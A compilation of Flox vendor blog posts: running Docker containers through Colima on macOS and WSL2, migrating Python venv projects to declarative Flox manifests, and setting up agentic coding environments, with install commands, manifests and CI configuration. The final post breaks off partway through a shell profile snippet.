**Kubernetes, Uncontained**, you make changes to a declarative Flox definition, push that to FloxHub, change a single line in your workload’s Kubernetes Pod spec, and run. That’s it. You test, ship, deploy, and/or roll back faster, easier, and more reliably—without building and testing images locally, then pushing them to a registry...only to pull, run, and test them again in CI. That vicious build-push-pull-repeat cycle just goes away. Ready to go Uncontained? Get started [here](https://flox.dev/kubernetes/)! Title: Get Containers on macOS and Windows (WSL2) with Colima and Flox Source: https://flox.dev/popular-packages/get-containers-on-macos-and-windows-with-colima-and-flox/ Date: 2025-10-21 Category: tutorial # Get Containers on macOS and Windows (WSL2) with Colima and Flox Not everyone wants to install a resource-intensive container runtime on their local system, especially on desktop platforms like macOS and Windows. Looking for a lightweight container runtime for macOS that doesn't consume excessive system resources? Want an alternative to running Docker Desktop on Windows? And with this as prelude, we give you...Colima, a lightweight Linux VM pre-configured for running containers on macOS, Linux, and Windows with WSL2. Short for “Containers on Lima,” Colima is built on [Lima](https://github.com/lima-vm/lima), a [CNCF](https://www.cncf.io/)-sponsored project for running Linux VMs on macOS. It ships pre-configured with Docker Engine by default, but it can also be set up to run just [containerd](https://github.com/containerd/containerd). Colima is an especially attractive option for running containers on macOS, integrating quite nicely with macOS’ Apple Hypervisor Framework. The **FAQ** (below) provides in-depth information about running Colima on WSL2. We even created a Flox environment to get you started. ## Colima = containers made simple Flox does this thing where we point out stuff you _can_ do with us that you _can’t_ do with containers. But the reverse of this shtik is also true. Flox, Nix, and containers are all gifts to the world. They let you do different kinds of things differently. Need to run software in a hermetically isolated context but with direct access to local hardware? Containers are great for that! (On Linux, at least.) Need a way to package up a runtime environment into a portable build artifact for deployment to a managed K8s service or a serverless environment like AWS Lambda? Containers are great for this, too! But not everyone wants to install a resource-intensive container runtime, especially on desktop platforms like macOS and Windows. If you find yourself nodding along thinking “Yep. I’m one of those people,” Colima is all you need. ## Getting It Let’s first install Flox. If you don’t already have Flox on your system, we’ve made it pretty easy to [download](https://flox.dev/get/), [install](https://flox.dev/docs/install-flox/), and play along at home. Next, let’s grab Flox’s pre-built Colima example environment. This is shockingly simple: ``` flox activate -s -r flox/colima ``` This activates the FloxHub environment `colima` (with the `-r` switch), starts the `colima` service (with the `-s` switch, for "services"), and puts you in a Flox subshell. When you type exit to quit (or press CTRL + D), the session ends (but the local copy of the environment remains cached for next time) and Colima shuts down. ``` ✅ You are now using the environment 'flox/colima (remote)'. To stop using this environment, type 'exit' ╔═══════════════════════════════════════════════╗ ║ ║ ║ Colima may take a few moments to start. ║ ║ ║ ║ Once it starts, try it with: ║ ║ docker run hello-world ║ ║ ║ ╚═══════════════════════════════════════════════╝ ``` Because Colima needs to spin up a Linux VM with Docker Engine, we do need to give it a moment, even _after_ we see this message. (Moves fingers over keyboard for 30 seconds.) Okay. That should do it. **Note**: If you want to bootstrap this yourself, you need to run `flox install colima` to install it manually. You’d then need to define a service so Flox knows to start and manage Colima. Just open up the `manifest.toml` file that lives in `.flox/env/` inside your project directory. Look for the `[services]` section, and add the following: ``` [services] colima.command = "colima start" colima.is-daemon = true colima.shutdown.command = "colima stop" ``` Save and exit, then start your local Flox Colima environment using the `-s` switch: ``` flox activate -s ``` You won’t see the welcome message I showed above because you haven’t created logic to display it. 😄 ## Using it Let’s suppose I’m containerizing [DuckDB](https://github.com/duckdb/duckdb) because I want to build a [Flask](https://github.com/pallets/flask)-based app that exposes RESTful endpoints for users to interact with it. I’m using an Amazon Linux base image, because that’s what my (hypothetical) org runs in both its AWS Elastic Container Service and Elastic Kubernetes Service deployments. First, I need to pull my container image from the AWS Elastic Container Registry. But let’s assume I’ve already done that. The next step is building my custom container image using a Dockerfile I’ve created. Colima spins up a lightweight Linux VM that's configured by default to use Docker Engine. This means I’ve also got to install a Docker client so I can interact with it. My Flox `colima` example environment already includes this: ``` flox list colima: colima (0.7.6) docker: docker-client (docker-27.3.1) gum: gum (0.14.5) ``` (Note: If you’re playing along at home and bootstrapping from scratch, just run `flox install docker-client`.) Now that I’ve got my Docker client, let’s build my container: ``` flox [aws-1pass colima] daedalus@askesis:~/dev/colima$ docker build -t duckdb-task-api . [+] Building 9.3s (10/10) FINISHED docker:colima => [internal] load build definition from Dockerfile 0.0s => => transferring dockerfile: 489B 0.0s => [internal] load metadata for public.ecr.aws/amazonlinux/amazonlinux:latest 0.0s => [internal] load .dockerignore 0.0s => => transferring context: 2B 0.0s => [1/5] FROM public.ecr.aws/amazonlinux/amazonlinux:latest 0.0s => [internal] load build context 0.0s => => transferring context: 1.83kB 0.0s => [2/5] RUN yum update -y && yum install -y python3 python3-pip && yum clean all 6.1s => [3/5] RUN pip3 install flask duckdb 2.7s => [4/5] WORKDIR /app 0.0s => [5/5] COPY crud.py . 0.0s => exporting to image 0.2s => => exporting layers 0.2s => => writing image sha256:0f68c78630a25d7cbb5edada7a288ec454e0a6ad2818d8930377516d19341626 0.0s => => naming to docker.io/library/duckdb-task-api ``` Alll right. Now I’m ready to fire up and run my container in Colima: ``` docker run -p 5000:5000 duckdb-task-api * Serving Flask app 'crud' * Debug mode: off WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Running on all addresses (0.0.0.0) * Running on http://127.0.0.1:5000 * Running on http://172.17.0.2:5000 ``` Success! A quick double-check confirms that my container is, in fact, running: ``` docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 3545e6e5247d duckdb-task-api "python3 crud.py" 52 minutes ago Up 52 minutes 0.0.0.0:5000->5000/tcp, :::5000->5000/tcp sharp_montalcini ``` It’s one thing to _start_ a container, another to confirm it’s running, and still another to interact with it. So let’s interact with. Let’s see if it behaves like a RESTful service running in a container should. ``` curl http://localhost:5000/ Welcome to the DuckDB Trivial Task Management API (TTMA) v0.0.0.314159! ``` So it’s up, it’s running, and it’s accessible. But can I do the stuff I expect to able to do with it? ``` curl -X POST -H "Content-Type: application/json" \ -d '{"title": "Cured Global Warming"}' http://localhost:5000/tasks {"message":"Task created"} curl http://localhost:5000/tasks [[1,"Cured Global Warming",false],[2,"Cured Global Warming",false]] ``` Even though I can't change that task's status to `true`, I’m going to go ahead and call this a successful q.e.d.! ## Summary So that’s Colima. It gives you a simple, lighter-weight VM for running containers on macOS and Windows with WSL. (Colima runs just fine on Linux, too—witness this walk-through!—albeit with one caveat: instead of running natively, your containers run inside a VM.) Colima is full-stop amazing on its own. But Flox makes it even, um, amazing-er, giving you an easy way to create and share a portable Colima environment for running containers … anywhere. Don’t believe me? Go ahead and `flox activate -s -r flox/colima` on your system and take it for a spin. Happy hacking! _Thanks to both Rok Garbas and Ross Turk for building this Colima environment! Collectively, Rok and Ross **are** Flox’s skunkworks platform engineering team. I’d be verklempt without ‘em!_ ## FAQ: Colima on Windows (via WSL2) **Is Colima officially supported on Windows?** Not officially. Colima documents macOS and Linux as targets; Windows isn't listed as a supported platform in the README. You can still use it successfully under WSL2, but you're in "works for me" territory. **Does Colima on WSL2 run a VM inside a VM?** Yes. Colima manages a Linux VM (through Lima). WSL2 itself runs in a lightweight VM on Windows, so you're effectively nesting Linux VMs. **So…does it actually work?** [Yes](https://github.com/floxrox/colima-for-wsl2)! With KVM available and enabled, Colima runs surprisingly smoothly in a WSL2 distro with default settings. Where things get tricky is VM acceleration and edge-case setups: some WSL2 builds don't expose **`/dev/kvm`**, which can degrade performance or block the VM. An alternative is to run Colima with QEMU's [TCG emulation](https://www.qemu.org/docs/master/devel/index-tcg.html); this generally works, but is slow. (See below for more.) **What practical caveats should I be aware of?** The first and most important is that _Colima doesn't officially run on Windows_. If it works, great; if it doesn't, oh well. With this out of the way, on modern WSL2 builds, using [a Flox environment](https://github.com/floxrox/colima-for-wsl2) that bundles all required dependencies, along with a defined Colima service and setup logic, Colima _does_ generally work just fine on WSL2. Check out this **[README.md](https://github.com/floxrox/colima-for-wsl2/blob/main/README.md)** for more. _Nested virt & KVM_. If **`/dev/kvm`** exists but you're not in the **`kvm`** group, acceleration fails. (Solution: run **`usermod -aG kvm $USER`**.) If **`/dev/kvm`** isn't available in your WSL2 distro, the VM may run unaccelerated or fail to start. Workarounds exist, but behavior varies across Windows/WSL versions. _Performance_. With KVM enabled and with the user added to the **`kvm`** group, performance is good. Without KVM, Colima falls back to TCG emulation, which is much slower but still workable for many dev tasks. _There's an experimental Lima driver just for Windows_. Lima offers an experimental **`vmType: wsl2`** that uses Windows' **`wsl.exe`**. It can help, but it's explicitly marked experimental and doesn't support many Lima options. **Quick start that usually works** **Option 1: Using the Flox environment (recommended)** The [Flox environment](https://github.com/floxrox/colima-for-wsl2) provides a reproducible, one-command setup with automatic KVM detection and configuration: ```bash # Clone the repo git clone https://github.com/floxrox/colima-for-wsl2 colima cd colima # Activate and start (this handles everything) flox activate -s ``` The environment automatically: - Detects if KVM is available and configures accordingly - Falls back to TCG emulation if KVM isn't accessible - Sets up the Docker socket for seamless CLI usage - Manages the Colima service lifecycle See the [README](https://github.com/floxrox/colima-for-wsl2/blob/main/README.md) for full details. **Option 2: Manual installation** In your WSL2 distro (e.g., Ubuntu), install Colima and the Docker client (Colima supports Linux; install via your distro's package manager, Homebrew, Nix, or the release binaries). Run **`colima start`** and then **`docker run hello-world`**. If everything comes up, you're good. If you see errors about KVM or slow performance, you're likely hitting the **`/dev/kvm`** limitation mentioned above. Colima's **`README`** has the common flags for sizing the VM, e.g. **`colima start --cpu 4 --memory 8 --disk 60`**. **Can I use Lima's WSL2 driver instead?** Possibly. Advanced users sometimes wire Colima to a Lima instance configured with **`vmType: wsl2`**, but Lima's docs call this mode experimental and note feature gaps. Expect tinkering. **Is this a viable Docker Desktop alternative on Windows?** It can be—for some setups. If KVM is available and enabled in your WSL2 distro, Colima should be lightweight and fast enough for day-to-day container dev. That said, the best and most supported Windows options remain: - Docker Desktop with the WSL2 backend (official docs, polished integration). - Rancher Desktop (WSL2 integration, open source, Docker-compatible). **TL;DR guidance** If you want the easiest path: use the [Flox environment](https://github.com/floxrox/colima-for-wsl2) for automatic setup and configuration. If it already runs fine for you under WSL2: keep using it; size the VM with **`--cpu/--memory/--disk`** as needed. If you hit KVM/acceleration snags: consider Lima's **`vmType: wsl2`** (experimental) or switch to Docker Desktop/Rancher Desktop for a fully supported path. Title: Create and Ship Reproducible Python Virtual Environments with Flox Source: https://flox.dev/blog/create-and-ship-reproducible-development-environments-for-python-with-flox/ Date: 2025-10-10 Category: guide # Create and Ship Reproducible Python Virtual Environments with Flox How to migrate Python projects from venv to Flox for reproducible, declarative environments that work the same across every machine, CI, and production. Modern Python development depends on reliable, reproducible isolation between projects so that Python versions, their dependencies, and required system libraries don’t conflict or drift over time. Python’s built-in **`venv`** module covers the basics, but it falls short of full reproducibility. A virtual environment created on one machine can behave differently on another because of variations in system libraries, Python builds, or operating system packages. Over time, these differences create the familiar “works on my machine” problem. In other words, while **`venv`** is useful for local isolation, it is not a reliable way to package, ship, or run environments in CI or production. Flox permits [a more scalable approach to creating, managing, and shipping Python environments](https://flox.dev/docs/languages/python/). Built on Nix, Flox is a cross-platform, cross-toolchain _package and environment manager_. It defines every dependency in a declarative manifest: not just core Python packages, but system libraries, compilers, GPU-specific dependencies, even tools from other languages. This gives you a single declarative definition for rebuilding identical development and runtime environments across platforms (macOS, Linux, Windows with WSL2), architectures (x86, ARM, and GPU hardware), and phases of the SDLC. ## TL;DR Migrating to Flox provides several clear advantages: - **Reproducibility across systems**. Each and every dependency—from python311Full to graphviz—is versioned, cached, and portable. - **Unified multi-language stacks**. Manage Python, Node.js, CUDA, and other toolchains within one environment. - **Faster onboarding**. New contributors can run **`flox activate`** and start coding immediately, with no manual setup. They can easily and reliably ship what they build using Git, [FloxHub](https://flox.dev/docs/concepts/floxhub/, or [containers](https://flox.dev/docs/reference/command-reference/flox-containerize/). - **Direct path to production**. The same manifest that defines development can be built, published, or containerized for deployment. Flox does for development and runtime environments what **`requirements.txt`** does for Python packages—but with system-wide scope and predictable rebuilds. The rest of this guide walks through migrating an existing Python project from **`venv`** to Flox and adopting Flox’s declarative model for reproducible development, testing, and deployment across your team. ## Why you might want to migrate your Python project Python’s **`venv`** module isolates dependencies within a project, but it was never designed to guarantee reproducibility across different systems and contexts. If your work involves multiple developers, mixed-language stacks, or continuous integration pipelines, you will start to run up against **`venv`**’s limits. Flox can replace or complement **`venv`** when you encounter these cases: - **Environment drift across machines** – A **`venv`** created on one developer’s system can behave differently on another due to differences in operating systems, library paths, or compiler versions. Flox environments rebuild deterministically from a [manifest](https://flox.dev/docs/concepts/environments/?h=manifest.toml#manifesttoml). Cloning, pulling, or containerizing this environment reproduces the same run- or build-time experience everywhere—from local workstations to CI runners. - **Multi-language projects** – Many Python projects depend on more than Python itself: JavaScript for front-ends, C/C++ or CUDA extensions, or system tools like **`graphviz`** or **`ffmpeg`**. Flox handles all of these in a single declarative definition. You can install a Python interpreter, Node.js toolchain, and GPU drivers together without juggling external setup scripts. - **Slow or inconsistent onboarding** – New contributors often spend hours (sometimes even days!) reproducing just the right toolchain. With Flox, cloning a Git repository or pulling an environment from FloxHub and running **`flox activate`** automatically reproduces the same environment declared in the manifest. Flox eliminates convoluted **`README**s, complex bootstrap scripts, and other ad-hoc setup steps. - **Unreliable CI builds** – A locked **`requirements.txt`** captures only Python packages. It doesn’t, and can’t, record system libraries or the Python version itself, so CI pipelines can drift over time. Flox defines the complete runtime, including the Python version and all native dependencies, which eliminates sources of hidden variability. - **Need for containerized deployment** – If your production workflow depends on Docker or OCI images, Flox can export the same environment definition as a container. This eliminates the mismatch between development and deployment setups, so that what you test is what you ship. Containerizing a Flox environment is as simple as running **flox containerize**`. ## Install Flox Start by [installing Flox on your system](https://flox.dev/docs/install-flox/install/). The exact commands depend on your operating system: After installation, verify that Flox is working correctly: ``` $ flox ``` You should see output similar to: ``` flox version 1.7.2 Usage: flox OPTIONS (init|activate|search|install|...) [--help] Use 'flox --help' for full list of commands and more information ``` ## Migrate your first Python project Let's migrate an existing Python project from venv to Flox. First, navigate to your project directory: ``` $ cd my-python-project ``` ### Initialize Flox with automatic detection Flox can automatically detect your existing Python project setup: ``` $ flox init ``` This command analyzes your project for requirements.txt or pyproject.toml files and generates an appropriate Flox environment. The output might look like: ``` ✨ Created environment 'testes' (x86_64-linux) ✅ 'python3' installed to environment 'my-python-project' Next: $ flox search <- Search for a package $ flox install <- Install a package into an environment $ flox activate <- Enter the environment $ flox edit <- Add environment variables and shell hooks $ flox push <- Use the environment from other machines or share it with someone on FloxHub``` ``` ### Examine the generated manifest Let's look at what Flox created: ``` $ flox edit ``` This opens your environment's **`manifest.toml`** file in Flox's built-in editor. For a project with a **`pyproject.toml`**, it might look something like: ``` # .flox/env/manifest.toml version = 1 [install] python3.pkg-path = "python3" python3.version = ">=3.8" [hook] on-activate = """ # Autogenerated by Flox # Setup a Python virtual environment export PYTHON_DIR="$FLOX_ENV_CACHE/python" if [ ! -d "$PYTHON_DIR" ]; then echo "Creating python virtual environment in $PYTHON_DIR" python -m venv "$PYTHON_DIR" fi # Quietly activate venv and install packages in a subshell so # that the venv can be freshly activated in the profile section. ( source "$PYTHON_DIR/bin/activate" pip install -r "$FLOX_ENV_PROJECT/requirements.txt" --quiet ) # End autogenerated by Flox """ [profile] bash = """ # Autogenerated by Flox echo "Activating python virtual environment" >&2 source "$PYTHON_DIR/bin/activate" # End autogenerated by Flox """ fish = """ # Autogenerated by Flox echo "Activating python virtual environment" >&2 source "$PYTHON_DIR/bin/activate.fish" # End autogenerated by Flox """ tcsh = """ # Autogenerated by Flox echo "Activating python virtual environment" >&2 source "$PYTHON_DIR/bin/activate.csh" # End autogenerated by Flox """ zsh = """ # Autogenerated by Flox echo "Activating python virtual environment" >&2 source "$PYTHON_DIR/bin/activate" # End autogenerated by Flox ``` This manifest defines a complete Python development environment using Flox’s declarative model. When you activate the environment, Flox performs a few key actions: - **Installs Python from the Flox Catalog**. The [install] section specifies the Python interpreter (for example, python311Full), versioned and sourced from the Flox Catalog. - **Defines a persistent virtual environment**. When you activate the Flox environment (see next section), logic in the **`[hook]`** section checks for a **`venv`** under **`$FLOX_ENV_CACHE/python`**. If it doesn’t exist, Flox creates one with **`python -m venv`**. This **`venv`** persists across activations and environment rebuilds. - **Defines project dependencies automatically**. The logic in **`[hook]`** activates the **`venv`** and installs project dependencies—either via **`pyproject.toml`**; or using **`pip install -e`**; or from **`requirements.txt`** if your Python project uses that pattern. The result is an environment that recreates the familiar Python workflow — **`venv`**, **`pip`**, and all—but with Flox’s built-in determinism and portability. Every dependency, starting with the Python interpreter itself, is declared, versioned, and reproducible across systems. ### Activate your environment Now you can activate your Flox environment: ``` $ flox activate ``` You'll see output similar to: ``` ✅ You are now using the environment 'my-python-project'. To stop using this environment, type 'exit' Creating python virtual environment in /home/daedalus/dev/my-python-project/.flox/cache/python Activating python virtual environment ``` Activating the Flox environment automatically activates the `venv` for your shell session. The setup logic that does this is expressed in the **`[profile]`** section, which defines shell-specific activation commands so that when you run **`flox activate`**, the Python **`venv`** becomes your active interpreter automatically. ## Migrate more dependencies / packages If migrating from Python **`venv`** to Flox, handling additional packages is straightforward. You'll want to move beyond just the basic Python interpreter to include most (or all) project dependencies in your Flox environment. First, examine your current requirements.txt or pyproject.toml to identify all dependencies. With Flox, you have two options for adding these packages. The first approach is to install packages directly from the Flox Catalog: ``` flox install python311Packages.numpy python311Packages.pandas ``` First, not all PyPI packages are available in the Flox catalog–at least in the exact versions you need. But getting Python packages from the Flox Catalog gives you iron-clade reproducibility because Flox packages are pre-built artifacts produced deterministically from Nix expressions, so the same inputs always yield the same outputs. In contrast, PyPI packages are built and/or installed on your local system, so they inherit variability in the form of compiler versions, etc. With Flox, you can define system-level dependencies alongside Python packages, so native extensions and shared libraries behave the same way on every machine. This matters for projects that rely on compiled Python modules (such as NumPy, pandas, or PyTorch). These packages include C, C++, or CUDA code that needs to link against non-Python libraries. When you install NumPy or pandas via PyPI, these modules depend on whatever compilers and headers happen to be on your system. This can produce subtle differences across machines. Flox lets you declare and version these libraries and toolchains explicitly, so compiled components build and behave the same way everywhere. Not only can you use **`uv`** inside a Flox-managed **`venv`**, but Flox pins the platform **`uv`** runs on: it provides **`uv`** itself, along with the Python interpreter, the C/C++ toolchain and headers, shared libraries (e.g., **`OpenSSL`**, **`libxml2`**, **`libstdc++`**), and, when needed, CUDA-specific dependencies, like the NVIDIA CUDA Toolkit and CUDA-accelerated dependencies, including cuPy, PyTorch, cuPyNumeric, etc. Think of it this way: **`uv`** locks the Python dependency graph; Flox pins global platform dependencies, along with (optionally) Python dependencies. Together they deliver deterministic installs and identical behavior on laptops and in CI. ## Using Flox to create and manage Python virtual environments The second approach, which is often more practical, is to create and manage Python virtual environments as part of the Flox environment’s declarative definition. This gives you the best of both worlds: Flox manages the environment while letting **`pip`** or **`uv`** handle Python-specific dependencies. Here's how to set it up in your Flox manifest: ``` Version = 1 [install] # pin interpreter python.pkg-path = "python312Full" # pin platform libs off the python overlay you called out openssl.pkg-path = "python312Packages.openssl" libxml2.pkg-path = "python312Packages.libxml2" libpq.pkg-path = "python312Packages.libpq" libstdcxx.pkg-path = "python312Packages.libstdcxx" # tooling uv.pkg-path = "uv" # optional CUDA stack (Linux only) — priorities help avoid LICENSE/file conflicts # constrain systems explicitly when adding CUDA cudatoolkit.pkg-path = "flox-cuda/cudaPackages_12_8.cudatoolkit" cudatoolkit.systems = ["x86_64-linux", "aarch64-linux"] cudatoolkit.priority = 3 cuda_nvcc.pkg-path = "flox-cuda/cudaPackages_12_8.cuda_nvcc" cuda_nvcc.systems = ["x86_64-linux", "aarch64-linux"] cuda_nvcc.priority = 1 cuda_cudart.pkg-path = "flox-cuda/cudaPackages.cuda_cudart" cuda_cudart.systems = ["x86_64-linux", "aarch64-linux"] cuda_cudart.priority = 2 [gist] # optional metadata section name of your choice; purely illustrative [hook] # idempotent, minimal, bash-only; runs every activation setup_python() { set -euo pipefail venv="${FLOX_ENV_CACHE}/venv" lock_flag="${FLOX_ENV_CACHE}/.deps_installed" # create venv once if [ ! -d "$venv" ]; then uv venv "$venv" --python python3 fi # guard activation (venv creation may not be instant on first run) if [ -f "$venv/bin/activate" ]; then # shellcheck disable=SC1090 . "$venv/bin/activate" fi # install dependencies only once (or remove the flag to force re-sync) if [ ! -f "$lock_flag" ]; then # Prefer uv lockflow; falls back cleanly if you use requirements.txt if [ -f "uv.lock" ]; then uv pip sync --python "$venv/bin/python" --frozen elif [ -f "requirements.txt" ]; then uv pip sync --python "$venv/bin/python" requirements.txt fi # optional: dev extras if present if [ -f "requirements-dev.txt" ]; then uv pip sync --python "$venv/bin/python" requirements-dev.txt fi touch "$lock_flag" fi # optional: set caches inside FLOX storage (keep CI clean & fast) export UV_CACHE_DIR="${FLOX_ENV_CACHE}/uv-cache" export PIP_CACHE_DIR="${FLOX_ENV_CACHE}/pip-cache" return 0 } # example: opt-in GPU wheel install (kept separate, call manually) install_gpu_wheels() { set -euo pipefail venv="${FLOX_ENV_CACHE}/venv" # shellcheck disable=SC1090 [ -f "$venv/bin/activate" ] && . "$venv/bin/activate" || return 0 # choose one stack; keep CPU/GPU indexes separate if command -v nvidia-smi >/dev/null 2>&1; then # PyTorch CUDA 12.4 example uv pip install --python "$venv/bin/python" \ --index-url https://download.pytorch.org/whl/cu124 \ torch torchvision # CuPy (CUDA 12.x example) uv pip install --python "$venv/bin/python" cupy-cuda12x # cuPyNumeric uv pip install --python "$venv/bin/python" nvidia-cupynumeric else uv pip install --python "$venv/bin/python" \ --index-url https://download.pytorch.org/whl/cpu \ torch torchvision uv pip install --python "$venv/bin/python" cupy # CPU fallback fi return 0 } ``` Remember to **`git commit`** the updated environment or push it to FloxHub (via **`flox push`**) so that everyone on your team gets exactly the same dependencies. ## Update documentation and workflows After migrating to Flox, you'll need to update your project documentation and CI workflows to reflect the new approach to managing Python environments. Start by updating your **`README.md`** to include clear instructions for setting up the project with Flox. Replace instructions like "Create a virtual environment with ** `python -m venv .venv`**" with "Set up the environment with **`flox activate`**". Here's a sample section you might add: ``` ## Development Setup This project uses Flox for environment management. To get started: 1. Install Flox following the [official instructions](https://flox.dev/docs/install-flox/) 2. Clone this repository 3. Run `flox activate` in the project directory 4. You're ready to start building and shipping! ``` Next, update any CI configuration files (e.g., GitHub Actions workflows or Jenkins pipelines). For GitHub Actions, use the official Flox actions and run your build/test inside the activation step so hooks execute and the environment is guaranteed consistent: ``` # .github/workflows/ci.yaml name: ci on: push: branches: ["**"] pull_request: jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: flox/install-flox-action@v1 # Run everything inside activation so your [hook] functions run first - uses: flox/activate-action@v1 with: run: | # (optional) if your hooks don't already sync deps, do it here # make deps python -m pytest -q ``` Jenkins follows the same pattern: wrap commands with flox activate -- so activation and hooks happen in the same shell: ``` // Jenkinsfile (Declarative) pipeline { agent any stages { stage('Test') { steps { sh ''' flox activate -- bash -lc "python -m pytest -q" ''' } } } } ``` If you have Makefiles or other build scripts that assume a virtualenv, update them to operate within the Flox environment. In most cases you no longer need explicit activate/deactivate; let Flox handle activation. If you keep a **`venv`**, create it in **`$FLOX_ENV_CACHE/venv` via a **`[hook]`** and reference it directly (e.g., **`$(FLOX_ENV_CACHE)/venv/bin/python -m pytest)`**. Remember to inform your team about the migration. Send an email or create documentation explaining why you've switched to Flox and how to use it. Emphasize that they'll no longer need to manage virtual environments manually, but will need to install Flox. ## Clean up and remove the source tool After successfully migrating to Flox, you can safely deprecate your old Python **`venv`** setup. A phased approach helps prevent disruptions during the transition. **First**, rename, don’t delete, existing virtual environments first: ``` mv .venv .venv.backup ``` This lets you revert quickly if anything unexpected occurs. If your team uses multiple virtual environments in different locations, document them all before renaming or removing any. **Second**, remove or update automation that recreates or activates virtual environments. Check for commands such as **`python -m venv`**, **`source .venv/bin/activate`**, or **`deactivate`** inside: - Makefiles - Shell scripts - CI workflows - IDE or editor settings **Third**, gracefully handle legacy tooling. If you’ve been using a **`.python-version`** file (for tools like **`pyenv`** or **`asdf`**), consider keeping it temporarily alongside your Flox manifest. This helps teammates who haven’t yet migrated maintain compatibility while they transition. **Fourth**, support coexistence during migration. Flox and **`venv`** can coexist. Flox can actually create and manage a virtual environment internally in **`$FLOX_ENV_CACHE/venv`** via its **`[hook]`** scripts, as shown above. This means part of your team can continue using traditional **`venv`** workflows while others rely entirely on Flox—without conflict. ## FAQs about managing Python projects with Flox ### How does Flox improve upon standard Python virtual environments for project management? Standard virtual environments primarily isolate Python packages, which often leads to inconsistencies when system libraries or interpreter versions differ between machines. Flox creates a [fully reproducible environment](https://flox.dev/blog/reproducible-python-development-environments-with-flox/) by managing the entire stack within a declarative manifest. This includes the Python interpreter, system-level dependencies, and compilers,. Every developer on the team can run identical code regardless of their local operating system or existing configuration. ### Can Flox manage non-Python dependencies required by my Python projects? Yes, Flox is designed to handle multi-language stacks and system-level tools alongside your standard Python libraries. Whether your project needs specific C++ compilers, GPU drivers, or utilities, you can define them all in a single configuration file. This capability allows you to install and manage complex toolchains without relying on external bootstrap scripts or manual system installations. ### Is it possible to use existing dependency files like requirements.txt with Flox? Flox integrates seamlessly with standard Python workflows and can automatically detect and utilize existing configuration files such as `requirements.txt` or `pyproject.toml`. When you initialize a project, the system can configure [hooks](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments/) to create a virtual environment and install your specified packages using standard tools like pip or uv. This allows you to maintain your current dependency definitions while gaining the benefits of a portable, system-level runtime. ### How does using a declarative manifest benefit team collaboration on Python projects? A declarative manifest ensures that the entire development environment is versioned, cached, and reproducible across different machines and CI/CD pipelines. Instead of following complex documentation to set up a workspace manually, new contributors can simply clone the repository and activate the environment to start coding immediately. This approach eliminates environment drift and guarantees that testing and production environments exactly match the development setup. Title: Agentic Development Environments with Nix and Flox Source: https://flox.dev/blog/next-level-agentic-development-with-flox/ Date: 2025-09-26 Category: guide # Agentic Development Environments with Nix and Flox If you’re vibe coding or prototyping, you can prompt Cursor, CoPilot, Claude Code, Codex, and other tools to quickly and reliably create Flox environments for workflows, and workloads, of all kinds. Flox is a cross-platform, cross-language package manager, built on top of [open source Nix](https://nixos.org/guides/how-nix-works/) that's perfect for vibe coding, prototyping, or agentic development. A [Flox-powered agentic development environment](https://flox.dev/blog/a-turnkey-toolkit-for-agentic-development-with-flox/) gives Cursor, CoPilot, Claude Code, Codex, and other tools everything they’ll need to create portable, reproducible solutions. ## Why do agentic coding with Flox (and Nix)? The same semantics that make Flox such an intuitive lift for humans are also ideal for large language models: Agents use imperative commands to discover (**`flox search`**), find versions of (**`flox show`**), and install (**`flox install`**) dependencies. And because Flox is also a **virtual environment manager**, agentic tools won’t squander time (and tokens) debugging dependency conflicts. In fact, Flox makes it possible to run conflicting versions of software dependencies _in the same environment, on the same system, at the same time_. The upshot is that agentic development with Flox can get you from zero to working prototype much more quickly—without modifying your **`$HOME`** or making global changes of any kind to your system. **tl;dr**: With a little help from a Flox-aware `CLAUDE.md`, `llms.txt`, `AGENT.md`, `README.md`, or `FLOX.md`, coding assistants and ai agents can use a Flox-based agentic development environment to quickly and reliably build and improve working solutions. Even better, the Flox Catalog has _millions_ of historical package-version combinations, so agents can almost always find what they need. ## Bootstrapping agentic dev environments For work with your preferred programming languages and/or toolchains, start with a [**FLOX.md**](https://github.com/barstoolbluz/flox-md/blob/main/FLOX.md) that gives the agent the context and knowledge it needs to use and work with Flox. You can optimize this document to suit your requirements: for example, if you want the agent to build language- and/or tool-chain-specific Flox environments, focus on Flox features that promote [reproducibility](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments/), simplify [conflict management](https://flox.dev/blog/conflict-resolution-made-easy-with-package-groups-in-flox/), and permit [cross-platform portability](https://flox.dev/blog/hassle-free-cross-platform-dev-with-flox/). ### Python The first example prompts the agent to create a Python 3.12 dev environment, with all dependencies pulled from the Flox Catalog. It also includes **`pip`** and **`uv`** for interoperability with existing Python projects. Agents use imperative commands (**`flox search`**, **`flox show`**, and **`flox install`**) to search for and install packages from the Flox Catalog. Setup usually finishes in less than a minute, on average. Changing into the **`flox-for-python`** sub-directory and running the **`flox edit`** command confirms that the environment not only exists but is populated with a panoply of Python dependencies: ``` [install] python312Full.pkg-path = "python312Full" pandas.pkg-path = "python312Packages.pandas" numpy.pkg-path = "python312Packages.numpy" polars.pkg-path = "python312Packages.polars" duckdb.pkg-path = "python312Packages.duckdb" pyarrow.pkg-path = "python312Packages.pyarrow" scipy.pkg-path = "python312Packages.scipy" scikit-learn.pkg-path = "python312Packages.scikit-learn" matplotlib.pkg-path = "python312Packages.matplotlib" seaborn.pkg-path = "python312Packages.seaborn" jupyter.pkg-path = "python312Packages.jupyter" jupyterlab.pkg-path = "python312Packages.jupyterlab" requests.pkg-path = "python312Packages.requests" pydantic.pkg-path = "python312Packages.pydantic" sqlalchemy.pkg-path = "python312Packages.sqlalchemy" pip.pkg-path = "python312Packages.pip" uv.pkg-path = "uv" ``` This includes _most_ of what a data engineer might need, along with JupyterLab. But Flox also supports built-in service management, so you (or the agent) can configure it to automatically start and stop your JupyterLab instance. The next prompt directs the agent to define JupyterLab as a Flox-managed service: This task, too, usually completes in less than one minute. Once the agent finishes, you can run **`flox activate -s`** or (from within your activated agentic development environment) **`flox services start jupyterlab`** to start JupyterLab. Running **`flox edit`** shows the logic the agent created to bootstrap the JupyterLab service: ``` [hook] on-activate = ''' # Create jupyter config directory if it doesn't exist mkdir -p "$FLOX_ENV_CACHE/jupyter/runtime" ''' [profile] common = ''' jupyter_token() { flox services status 2>/dev/null | grep -q "^jupyterlab.*Running" || { echo "JupyterLab not running. Start with: flox services start jupyterlab" return 1 } jupyter lab list 2>/dev/null | grep "http://" || echo "http://localhost:8888 (token pending...)" } if flox services status 2>/dev/null | grep -q "^jupyterlab.*Running"; then echo 